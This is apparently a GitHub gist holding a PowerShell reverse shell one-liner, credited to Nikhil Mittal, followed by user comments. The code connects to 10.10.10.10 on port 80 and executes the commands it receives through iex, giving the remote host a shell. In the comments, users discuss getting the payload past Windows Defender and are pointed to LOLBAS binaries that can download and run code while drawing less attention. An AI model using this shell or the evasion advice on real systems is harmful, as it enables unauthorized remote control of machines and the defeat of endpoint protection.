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powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@Vedant-Bhalgama
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Well if it is blocking everything, maybe try a different way to deliver your payload? Instead of using powershell?

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Kimi99 commented May 14, 2025

Will try to investigate some other options, thanks anyways!

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Kimi99 commented May 14, 2025

Do you maybe know something else that can execute some code but Defender is keeping less tabs on it? Some other binary or anything?

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You can check out various legitimate binaries on Windows that could be used to download and execute stuff from here https://lolbas-project.github.io/

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